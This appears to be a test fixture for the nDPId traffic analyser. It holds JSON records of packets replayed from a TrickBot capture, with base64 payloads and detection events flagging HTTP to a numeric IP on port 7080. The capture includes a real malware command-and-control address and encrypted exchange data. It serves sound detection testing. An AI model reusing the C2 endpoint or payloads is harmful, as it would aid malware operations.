+00415{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"trickbot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609266107,"pkt_ts_usec":797175,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"AAgCHEeuIOUqtpPxCABFAAAsYEQAAIAGftxSduHECgwdZRuo74Zi7VJcEnbXV2AS+vCXMwAAAgQFtA=="} +00409{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"trickbot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609266107,"pkt_ts_usec":797418,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"IOUqtpPxAAgCHEeuCABFAAAoc9JAAIAGK1IKDB1lUnbhxO+GG6gSdtdXYu1SXVAQ\/\/+p4QAA"} +00880{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"trickbot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609266107,"pkt_ts_usec":797621,"pkt_caplen":403,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":403,"pkt_l4_len":369,"pkt":"IOUqtpPxAAgCHEeuCABFAAGFc9NAAIAGKfQKDB1lUnbhxO+GG6gSdtdXYu1SXVAY\/\/9PNwAAUE9TVCAvT0syMXBxSkF0eXlHQkVvMDBzayBIVFRQLzEuMQ0KUmVmZXJlcjogaHR0cDovLzgyLjExOC4yMjUuMTk2L09LMjFwcUpBdHl5R0JFbzAwc2sNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpETlQ6IDENClVzZXItQWdlbnQ6IE1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDcuMDsgV2luZG93cyBOVCAxMC4wOyBXT1c2NDsgVHJpZGVudC83LjA7IC5ORVQ0LjBDOyAuTkVUNC4wRSkNCkhvc3Q6IDgyLjExOC4yMjUuMTk2OjcwODANCkNvbnRlbnQtTGVuZ3RoOiA5MjgNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQoNCg=="} +00829{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"trickbot.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1609266107551,"flow_last_seen":1609266107797,"flow_tot_l4_data_len":445,"flow_min_l4_data_len":20,"flow_max_l4_data_len":369,"flow_avg_l4_data_len":111,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.29.101","dst_ip":"82.118.225.196","src_port":61318,"dst_port":7080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"82.118.225.196","url":"82.118.225.196:7080\/OK21pqJAtyyGBEo00sk","code":0,"content_type":"","user_agent":"Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident\/7.0; .NET4.0C; .NET4.0E)"}} +01652{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"trickbot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609266107,"pkt_ts_usec":797702,"pkt_caplen":982,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":982,"pkt_l4_len":948,"pkt":"IOUqtpPxAAgCHEeuCABFAAPIc9RAAIAGJ7AKDB1lUnbhxO+GG6gSdti0Yu1SXVAY\/\/9JYwAAT0syMXBxSkF0eXlHQkVvMDBzaz1VNnlLdXljcHlydFdTZmZzSVQ5Z0hhdDNpV0Jlb0NsSkM2MjdZZUlKdk5aOHcwVjE5VEhaNUxvamNjeVBuJTJCT0phVHlOOWJMZ0tKJTJGdWpKUmxlNk40MWpxdVdYQmR1emNzRFJEUDNlbzJlaVI3NGZPVWU5TEloJTJGbWFPQlZQJTJCMVBtJTJCM0xRVHFwJTJCJTJCdUZlbDdrTnQlMkZLbHIxWDEzNFZxQmZGaXZDTVBLRGxpNjZEVmRPUWRadzZBVGtMdmM0VFVpRWJDS0tUUGNkYUxFdkdHWjNDWmNBVEt1bkZaUElVVU1LREFHWVJ0NFd6diUyRjB3VWd6UmNKclpYcHBGampwWCUyRm01SVZnY2hSRyUyRjhvYTVlQ2U2ODBCZkFldVlzZzczc2J5R2IySGc2aUJCUnJ2bSUyQmxIQm1QY0hhdGRCSWZiU01TM1pNdGtoOVVTYjZSVDlXUHNQaGtqNzlHVHBIU3JRdnY3NmVHNFdFb1JlV0thQ2o5clA2Z2Y5RndyVmVtTTVZRVBHVHFpQzZqdFFGa1lwRFFORG1iemZHdyUyRmxlUlVLQ09DMCUyQnF6SENkR2VSTHd2U29CeTVvenpPODhvdXBIeHE2dkZJb1BMQjY1M0NrRGlPa0FnUFZvZms1eVhmY1NzeVFseHlVSW56OUlPdVUlMkI1UW1pSjQlMkZpWkxwNDRmZWRrWiUyRkhLWCUyRnRpMTJnNG0lMkJxVkN4aEVNUWx3WE1XMSUyRnEzMTZ3NVY2V0YlMkJ3emEwbkx3anlKVWVFSmw0WjlPOSUyQlBaY1d1Q2ZJMCUyRldHQ1ZCQmxteVJrV0Y4ekJmeWJreEZjTDNaWVBpT25mdWQycVZsM0hLdkFyMFhqdUpnZlBFR1N4QkpOaE9DWjlaNTglMkJtNjN4UElYU3JtOEpuYThjNTdPZjUlMkJOeG5CbjU4a1hXTGxwcVJpckRPY0U0V0E0bjdJbzBFampEYjIwNmFmZmlkSzdIVUE1MFBYdmcxTlJHUDk0VFh5aWFNNDc0akZmRG0yQW9yRlBxdnElMkJEbWhsVTM4RENodTY3ZWpBU1ZZbWNyZkdZZjdZMEkzNVB2U2x2Y1N1SCUyQmNqJTJCYiUyQiUyRiUyQk9OJTJCakJ0alVTY0szbGU0TXNrVVFRaWwwSFd3VjEzQ3ptNlJiZyUzRCUzRA=="} +00407{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"trickbot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609266107,"pkt_ts_usec":797705,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AAgCHEeuIOUqtpPxCABFAAAoYEUAAIAGft9SduHECgwdZRuo74Zi7VJdEnbYtFAQ+vCtkwAA"} +00407{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"trickbot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609266107,"pkt_ts_usec":797742,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AAgCHEeuIOUqtpPxCABFAAAoYEYAAIAGft5SduHECgwdZRuo74Zi7VJdEnbcVFAQ+vCp8wAA"} +02243{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"trickbot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609266108,"pkt_ts_usec":728827,"pkt_caplen":1412,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1412,"pkt_l4_len":1378,"pkt":"AAgCHEeuIOUqtpPxCABFAAV2YEgAAIAGeY5SduHECgwdZRuo74Zi7VJdEnbcVFAY+vDwMwAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54DQpEYXRlOiBUdWUsIDI5IERlYyAyMDIwIDE4OjIxOjQ5IEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgNCkNvbnRlbnQtTGVuZ3RoOiA1NjUzMg0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQoNCt9qVvivS5njbjPP+PYiESkufSY2NBwPvvnHyiY29RlVUcWgqz2aIvCI30ph4ZB7gAsg4sYrw6DiahDColZ5c7Kb5tvBMWmCYiGNHuNsmJf7Huj9VYI9FR07cx2lwZ7GYisaxhrOouOAyayBA7kEIObsNo6X33XBYs8E4r6GwtAsV11qU+T0D\/Iim8CHkakB\/LhAn7QH2krJygLSJ56EglGnhrf+K5hHvICD06rkfkncxFWJu8vBdDsVrAerAwgDRYFkFqh6XzDUYylyL85lCJjE3taZN0a+4+2Jimj3vB0GlLb9stm5jqdv0Cnaa251FhV6nVDdjj0Jkl5899BkkZqkul+ChFNYwoIinB3X\/3DiEygF3sgyFV7TGlGJ1llDvl4vimhZRySn4m+Ur3Mb1pdnbQyLhzVJkj8C\/KgTGLjw9oNZ1ORv0tIwW42KxnZIu1\/zFOkPPMp+1pdjbdVXhqvKT0TC9zEgkTTzlFVmMHLe29xPRriSzU5at+eXH0sJo3ZOuNuMc1DD0xai228NNI7\/pufaVeJMcfRAzqN1D4LyZG2p4TvwCKzEn1SXdpnH0nGShubgkSHpBo5zJU7xTSmA47lQBrkcU\/aHl6N72BrTeqOezbPEh7ifHsOchWnIeMcKhe3vY6f+LZ\/wmBPIWu5F9BcbJZwtNrsXw8FfYP71wjVtfRXqBgjzU87viyDleZ+WIN2L9hOhvuiXXZHwkbynuqoyo3pI08qOjcxFhfT+CWPccU3nY1khPNDGKXClN0VTBj4FjJGGk30y9ChJR35dkBIWFPbBeXSGpdDWdMz7Teo\/KsiQvA3pO5QAaQ9\/b5Cq9Pc1yBVLejLzfRpSPBaWDbaxp51Jy4Bus\/oVgbbvxnKlLlXKzJxgwl65kLCk9CroONu5Mhoe7u7Ke5LlBFmLIRxdeKm6YIfQrDOaDYJIGVoiO+L+sU3bF5VDmvAD5+TWRqWLcrD6RG+a+yuM8WGGEn8iR6PkXt8fQu+q\/ork2JWOHV2h5Tvbsy3CVM26F2hFGUfi8aJux3sWY7\/Dx7iyR+JHSurfOuXXJc1hLCjBKnAMTxwLJLiHmXhZ29CmNMVJ5EJUwiq0q\/2NhH0R2EbdOZ405M1cWucYkX1e5JCUVsTfHCc+QZlTBpuQqAkt38qgSSzlBcSTkoOP1Gxnxd+VtaMEmUlp9CWF\/HxMOf\/vHmEoPR2d+NXMGo6i9bAJ22Y9c+FLSDIM0LuE1dCIUVHMdkx0Z1Mh6C\/N4qGyhUA8wq0XRzc+8T5UwU7j0QcyxIu4RVz1NP6IWh2TGDoxHPnXVfc\/vqSm0mXlvDHnMkU4kERTXYxCWoTOT9SGt35Y53gqVQ2XUcjUXhcXBh50FUv1TPyX4oFoqSthvUXa4Oqo1EHhocZxbKcuhBGNInGH9LHfXfnQQxnIuZLL+71U73xSRwBMooym2yn2Nc51TCapTOEmF6gltmYk1AV7+rutalady7J1kufphBaI4iy0ryagEWXXTS+CVgAzBmaPOxt8ZRNA7pLUYjSs7r6Mv837aMoS9D5h5MFZCMXP8dKJYWnjzxKEKWEeMCE="} +00882{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":8,"source":"trickbot.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":8,"flow_first_seen":1609266107551,"flow_last_seen":1609266108728,"flow_tot_l4_data_len":2811,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1378,"flow_avg_l4_data_len":351,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.29.101","dst_ip":"82.118.225.196","src_port":61318,"dst_port":7080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address","25":"HTTP suspicious content"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"82.118.225.196","url":"82.118.225.196:7080\/OK21pqJAtyyGBEo00sk","code":200,"content_type":"text\/html","user_agent":"Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident\/7.0; .NET4.0C; .NET4.0E)"}} +00409{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"trickbot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609266108,"pkt_ts_usec":729030,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"IOUqtpPxAAgCHEeuCABFAAAoc9VAAIAGK08KDB1lUnbhxO+GG6gSdtxUYu1Xq1AQ\/\/+flgAA"} +02252{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"trickbot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609266108,"pkt_ts_usec":731166,"pkt_caplen":1412,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1412,"pkt_l4_len":1378,"pkt":"AAgCHEeuIOUqtpPxCABFAAV2YEkAAIAGeY1SduHECgwdZRuo74Zi7VerEnbcVFAY+vBzIQAAOhQk+dfkANa6s9vW1xjo\/EvQkvmfXufhTIiprUjpdwv1HfBjv61gTwhLHYq3mF4QbVK9Hpp9ndVCZkYHTHjV+sBufLlmmhcV6ryrGW0AkBZkmPsQUmbRoYL5W\/WbifBo+45VpbFapb4FpBsLghzUiDontj\/AQ0kWd0LrCnByzwj0AIFoEHrbVYMqh20quTdNme468zsoNbI9IpAomq5jw6r76LUYpnGLQ8RFCaFuZp+nnu\/wJ02JpJTVmeoZNrniq0DLlLX8gI02JrJ7jR5lX6367KXftuH\/4Ac3QNSSVPDaWn7E8Jwtso4A9vlUuqZAj9PMILIJEb\/YlleKUgd90LCuIFRFoRAAUAo1kIlPsKC+6zPgn9WhNcU9yO2duZQJYDzc+VtwJozgLugivHsQUOmWiTfavndSF7xwC6bT+KArJT6MSkeYl19XTbCgdEPq6QoHjtmmX1litYyyF6UoxSzukjDUB1DtbEqImtkWxnr7vvlylKFdsuf0Wu8Hjx4yi0f\/ec+auTwhGn\/KKHaYS+TchWEps9Yp9ii\/NVnRP1w7r7gBRyXFUq64rzHWwFPt2Lv35lErqSvYBYQ97LABpl0catq0YiAC+oipVxrTRlQJRe4Z3PBQ2gjeUmIYtY4aAooaObGdVPisM77aQJpykf83q0JbCtHBSmRIwDHMXmPePUydP579tKv1rll8GOUikKtAEm8eaqkCqepufHsxSmHhlWRVQrc8QRAQYR6gy3nh0KB1D8eZj4IA5BTBpc4gb3WrBlUzqhoCE8Iij5Lr5CXPas5301XSJRo5wDD0z7MVzcnNrQM05PkrppVhxhjZH+fUgP9u1ZXAKlK52p22+ZOFQrvRYAiAteV0NaC6nIUdYX8TRt6QImK5rLqSs4Y9tD2YOcK0uSb+cbDBb+RoLePGyn8rF2AJ2\/eDR04TIN\/V6Y\/uBgG\/RTOgDbm7rsd1XC7xsqyraHF2JLqQsk85fomhldMj18dyZu8BHN6tTuuJlWqIBOAS0v+5U+MYt06yTFLu2pDJ3w0PF8xU58HsJDL4cDdtPgyDqKG4+6Tnn47MxdWxrkagi2RbZb1U8N+o8oqtNbe31VLknNvvqBaiakJp6R1W0yJgd8iu09r3ii9yaJyXUTmyhnKmywB0GV4tGqk9JVbyn+BGkLAVN3xkX4v8VZHAPB71u1WAeyGh0vROdp2UprUPIXudsG+UmB5OMcNFEqisptQFHIKUXJG7pDM0N\/Hf8Mug0Eo3IuvV67UZW4cgbriNX+yuJUIH1dvn++J8LxF06mYYrRR+dWmrcUFjVDebng7kBzEhi1gZ4X0qdFBMINT\/S\/2I6d9BO2kye11PHBhzYS9OtAyBreIkVaFTePVqflmDrBzuNay36GoPJYhuN3qJ3qbL8PsRgzMKDxxmfHR2rhq2HvyEGehTIeot3seUqzralbF3Z\/pZbnXbI1VZmOc8QlxK9TzZyvxs5K+4qdLN8oLgaBhAWLdAVHCNoC9dfla4Y6FAFBPgJcWi\/3s6GcyrWfrkMd8XAtx\/r00NyTDMr98EX3jktcAA6o7hdfTl+YfTlAKn00zGj\/IuTEyCt0z90cAecDSI\/pYEPvW1QgX+NVC+uVBSvhvB4xQWXNfeu0rTjiGbGYI1L\/MEldCpTMOVoZZzFsvxF+AjKgUJd892OhI2HDlUYZrxzjoeAYWyIu3LcNOX7NZk9lDaDwR\/PiOMLCn6WhibL0w5C1ffo\/BtafsrsQKKKbiTB5mrTbDRWwV+juKrJtyn5d7\/yRuYlcidjsXodOCK2bJxoehB+TZS1zQnzRMil2c="} +00411{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"trickbot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609266108,"pkt_ts_usec":731310,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"IOUqtpPxAAgCHEeuCABFAAAoc9ZAAIAGK04KDB1lUnbhxO+GG6gSdtxUYu1c+VAQ\/\/+aSAAA"} +02388{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"trickbot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609266109,"pkt_ts_usec":211400,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AAgCHEeuIOUqtpPxCABFAAXcYEoAAIAGeSZSduHECgwdZRuo74Zi7Vz5EnbcVFAQ+vBtpQAAoxSHM57GbFToRIY1N+HSjEsYNsF+EGSohXSzaiscwjdBuSMMnQ7WWzWOZWUm3CqnddU27G1Jwt5r4DDtlm0GSxJVGWcrffW1AEJAiWV7L6DzOOE4Nhb37RXBXub9t7o3W+fB9WsEA\/m2PZk9dSDd0vs8Qx1FFR4TCQJzP1zZbJuDftDtJxS9FHnilNaP9F4SzbrqbGEsfAlIkiM2uEN0r+NsCR3JnvCw0q82I4nWVQFWoHXjfxKusCUvpHg2Qnnrpb0OYG9GVVx2C8OF7KXolO4rJoMZayAEKALZvfo4ood4czbTDY1JPBoVq9ZqfnDEwstzsq2BJ1ldGLvLtXSJwObr56uxP0YhBhcXikS0f86KJ3Gr8EIrUlf4hGjcr5eyhLnPc0r86yxehw4pEVpHXHr9MHqWn9PrNYLgZHJzfC2qF\/TDS9ApBbPs7ykZeOsmD7MqTbBBJxAxGTnyGLiJZ\/DZ7FiQs22AzJUaDjduNnhyYK2d3ZRqMM3SLyUf5abSkeoQmS93SmbxwerwjJ285lBvOqe0MreZpZCGPJjRIUnWgWrqfE0OmRs7fB0fvwLaql\/+wKPBCZwVJ5gBsw13zDfjwJcH6ZR\/jrsKrXHPesRL4Qa4twfPMkDfrAUxzspeUqIHGebq8glqJSZDgOSfGvJM3ovzLzBWBztFcWsADSpsm84jCtG4PK0BJHQN7FDx1dsvd59YQfCPQWsBof6ycvWipiFo623\/rIcT7R1aOlxBZOlarYoDz0ENTLpqFuHGpSw1DOssGsUCO1AH41imNW69v9dVTqT8TXoeFaWHvz+5pBJMjZXzlHMZdMBtuecrkMkr80Z55AdWKEcXhILqLmEUsu+72FV77fdRgGulbwqeS1gdbdG43dDFV32nxzVsuNcGOvgCYz3o7vWKFjjm4o1SomvwI8FAnU1BEr06k\/OYBdxDMPaGdTGG25gUkqqL9diUqPsljGTKZnBvY7vw2y8yluthCVVJGYZDTTsigPffGhLMcrVDlKXKTC9uXdVxCjgrJWYJml85GPu9I3okQwl1QKXVJMhMAW1+t8C11VZ3p1raLmieMTbUBfGBWmwaXucKBmjDCuFSZ+WDJzIwsRL6UB3qPQoICuD+SUbJm6AFEFlWWqiiQNbgtc6X+1ZIS\/+b4t5JVkSfxWOdFeKFgtlZfTdj\/ib+L98ku6EZaApMl2nULZOARAVwHy4soa14tOvgqUfsVEihjkAJ6yke2oJEwGYZNPItE3YWrd2MHhN70fdoe51AHH1jARQW7SsoolDR6SIt2iA80AC4sfo\/MWshYmGd3T9O6xN\/2fJkvXL9nul\/oRYnld3YrKxrjU2L7VXOSRAGb2WsYqKrpNYhLS3cQUUEBRJZBkMfAiGpgfxuBA8PQmE4AF\/ZBPkSJFXiTDMvO6gckxVli4vkfh7cIL6DgZGb\/kr0j9jfzIQJxBzRL6R+a6AtuxIkrJuIl+aJKA2sI\/zhQ4YraTQWgUisj4oM3rbu9WwMhT\/klFsciKvPuObLSJor6myjhSN4mdxbVb5ywOwG9UFIjBECqbhJp2jRsInNDfoVig1nPyNbeElHI6aSR\/tUhsnzWawVN103Z6xymIh9D0SVzlpkVUrzEyvUlo2X6x\/SVnHqfrPfUYj8w2TStM+w0VQ\/iDgbCNe+hZ7C7I1ZVV++2HXK4NlnVkCxHhlOdV+eBgsdIJ7NuyKdZpVsiLcJTh9pIOJTnXP2\/p4163SOGCJWP9Dgy5XGZHwbKc1tnzfclmXvyA+MTRiGxfimuFdJvZgQZKNxxhsGf\/qNDcf1icau\/Cm\/w46PC76d98TcB2cNLmAiQecMfBpNv7aFJZV0eBTjDn+gKMRrxswN0yus5RZHdmCc5\/fV\/bmhDdGMsRPKY3Nrk3g05AeVp10BDzeADcye1t0tIeyEIxqdCsPP4TKtZ6h26LvAhzpAVE0="} +02158{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"trickbot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609266109,"pkt_ts_usec":211419,"pkt_caplen":1337,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1337,"pkt_l4_len":1303,"pkt":"AAgCHEeuIOUqtpPxCABFAAUrYEsAAIAGedZSduHECgwdZRuo74Zi7WKtEnbcVFAY+vD7bAAAawe5rQdB18cRNYwP9H12ICqsTdYSAXHsJb3kVdaHDZmteN+FhZcKiwd0uGSY2Ln2tNhGYI\/W3sbikFe0sqfREPsx6ZgTbH6JLQpFVzLYhqoMFoo7TPYBMrcOPqfPsi\/6JuRDpI9yxkUD+iGOu6vRgPjgdPrp4vCQB1cVfELTzyTp76Sy\/yOuP58LajXVZsDb9xuu5hJ4iPWLX0AMQGCaHHoEtWqDMkQ9IWtWHPoHl2uL62Zcxsv2ewXM2a7eGXQQHLVtG23DKp8b2iMTb3KqK4jfTUzCPZbu0P6DbPhkanxWKtAsM+wExQVVaLstVJ9vs3p0T0USqZUr6NkyTxc+I8zFpsiGNegFljxO3WxMytBberzkI1HZdCUn0d\/Wq+xEnSjl7MiXAHWfpNaCKX3SKazOzNKAeIRh+hn9Tcp9Fz\/lRt3iG36YbiZm+aiqPwGeWuXmFbwk6sQFBS\/KY0q6o508hZJOfxTEdCBJywjSlBbTBn2KlO7c1iDlLFLzI5y1CADqMsqBJjFwz2JDuESyvaipEJgchjHyIcSOI51FJHzrEY3bTrEhFcvistP8ijiS6Ddrm0qw4lO5zxezmPnzEi2pkwp+zOyYSGoJP7p7Q3HXlXbHo4kTVrNzPHer43ytGV5NZcpBAa+7wJDgys72yjxRCA3jHzMYsVNRer8bjAyp3bToVFEYlhq4loljXQTJmkzl9Mhkwv11m+3irGy0HIam5ZohkUNho8K4fpubpqemAb5HqF4D+x3+zDYfBJt5n1eCKv8R5wK10cGRalYA\/dQy2R33\/jpVV4SPgu6fsvK05EYGgkBkHwlaXojbj\/SC4Zr3g5XTJVKAT51\/ovKfWC3oAyftKTJgc9TNVwpVXWGHCWhvDbnxH0cHUxDKtGe+Pax\/q20BdePl5SmZ2igjyaG\/e0nlC3oirk+eE+Xq+iGp4Ww1Ud2AgkhL59lKMFZjhpqQfhrwWCNmtdCDeiBuygGfDkZCmPc5FMtFhq57rVa2AJddnBCwlGtDMquxkYWB1O2LMg4XocsKYxT2XDLZ7usm0N4xtZAcu+eY9qQXbIXg1RIe168AU3u398rdWoExKGL\/B6RWQGfO2kHCWdMu2hDqjFlL85FPbXaGaQJLUBES8CmxT3++M4kIsDT1OQzdoaypaAijsi6UhL9Zs5OW\/6RB\/mf0cojWV8D52lO9l33qYCbtSPK6rNdJgvFWHzkne2NKphN49\/o4xMtbuj4H8KR\/HdME2HhizqBJtVphLx+J6Sr4lVZo7QcJ+9EDk1aFlh0FlrT7pTIMmQYqKAMIKBFB9ZnzERlD8\/Qc0cH97Tbu3hSpGyQttu\/Zo9i6ecgtUE4lI0D\/GtrWyw6x4PSh0Yggmv\/KjRXBuc2huhw9y1+B4w1B\/A7z02klinrbZh6VekIcTq+uJsYOJi1XHIAX4D2DNMzkZ8wMa6ayxBrPZMq+V3Zv1j3\/AcCsigUfR\/DkLmzkEBrahjuEaR9yZkYHt8YuwYqYF\/Z0bqdOwDsKiYyz\/VN5VInCFM089BDi8prytU2EUU5Y3VFqUqM+6BajAYDuSLFe+Sx9jKFpZbyafVj3Q7\/Xm1FpBXspidAQZDus8qnHJFlDp5l6xrHCr4itKZ72iDdWR1FSth9hv9b2LQWKn\/3nfrqNJv\/Wqq+P5cFBv0o3cG+0Ad\/eQhXM2l3yqzXnGG\/1794F8Ae3wSGS46FYePo="} +00411{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"trickbot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609266109,"pkt_ts_usec":211610,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"IOUqtpPxAAgCHEeuCABFAAAoc9dAAIAGK00KDB1lUnbhxO+GG6gSdtxUYu1nsFAQ\/\/+PkQAA"} +02403{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"trickbot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609266109,"pkt_ts_usec":508985,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AAgCHEeuIOUqtpPxCABFAAXcYE0AAIAGeSNSduHECgwdZRuo74Zi7WewEnbcVFAQ+vCZ3wAAKxkPv0AaA6ZGcQjAFPG1i3bFgP7usmIhGBKyiXvC+9Coca73cem7oBgmT\/W0abVcwBTLNBjxNKVWAHQ4nygPFvB01N+NUYOWTHfT9BmVMGJLX68WbXxyyW4BWXsrgNax7AkOcb9M8cpE2wfv+Syw1p2\/3b19rXRJhamDlMt7QQCyVLj7MG\/gmo5aA\/RMLoovC\/cnwNKc4yHWMQ\/spJ5AqgmiozWq7NpbcFXR6FeOs+bFx5vY3zBfokCkV7h0fwMLoGubeAdlxHIF5vqz3WZYoyRDF7MGVkzLVX8n1NghN6XolPvX75Zwox0rUZVWSJD3XhMVU\/E\/IXpndmjItwgKgMdfrMlo+LZ0tGMMAhYMSZnC\/5MVT+VB0pLkzr753cFidiyQesvEx26Uvpw7amSYI\/k\/eHnCs5V3pkgxmyEXlj3AaE7IhPh\/3ZGl0pWRqBWT2FCvfC210NkKOsPoWKdErIZZ+dDtfUiIXGC3JCByN8o2TVtDdsHUiik7FsKEcX5TMyGJKXFAQP1XFBEIGgYKdeY3ED2tmOdYYGrBzKy+koAAgJXqZ0q1h3iFh2RrGL4tysay2MTGZiGDjF8hRpd1O8\/s7glx+VWCUa4f29+nbunC9+eh1djoeE0yYlUf25swEQHzTdM86HExsD\/znUfBQ30i4lz5F8omVaNwZC+\/HNRWFKu7g0r6kJ3fFg9yxqQtFbPbu+KXEH02jlKE6Qr0T9X36ZNG0cRuEBIpLRknN6Zp8ugd2Ga6hIlICjGA99gCumhWqU3FJJ66wIr1+Kcsh6XBUk9HqOE5Wyu9siM4gDySlCu+oXAg6\/xgSilX2mbXQU0rt0fCyrLrLm9hFcn6arcSqN4LyIv3Zgb5GNOqlS7VHIkzRnGRgCTwe8EvCWN\/v6EgXDQ1DHFrzgusR+nvjBfCcC83mpGRb9TLQ1zYJr\/u\/abfVw80vOeM2ZWp3Cb+l5i24AZF5ytjOsJAmq6oXHwznGBDGbyOTVWDiUZNU6TsmZulUQs5tMVAgpChF\/7E+gHoeWinkxc\/a0VOUmEEPH06pjPsiIOmd\/9apUwMV\/l+wKmptaS+LQMLHbNj2VaNPPwzXvR9k3Y0x7ZELJzo41B8VLjajkegyhOiGz47IFUHiZThn4UvYBnnsWYBZIeajBkbS1QREMxuZVz6Vm5Pp+K9t5nY+SimaScNl9WLDmHOAOtW4n9FH4zlN8z9D0F\/a1maWmRHFJN4Kt5Mu+r\/FrWazx3ECmYB80\/Xuj7cHSofm8Uk0wACYiSd9+vUkmYel7uV9c85NwAxkVazfPvCgLQL\/U4Ldoc2Qxz1\/54oE3uRFk9h\/V7WvtguMFm4LPPB9TlhO\/LXtUXVYqp91zHP36CgItPdmRLyg96LS3eyGGWomV0QNG4Zyf\/H0Gfyik4d25JvDgixmtOeK+EjU3ob07I3+xY7wSO3QELs3tUX2O5F\/8mKYxURnBDle9ZCs1xR7LffyD3IhzxsGl0pIAddsfcwzjb2G1pUPNdQ5kMBAD+gxPZWVJaN\/jzh4Zjx0Lte9IS+nTCfaHYkI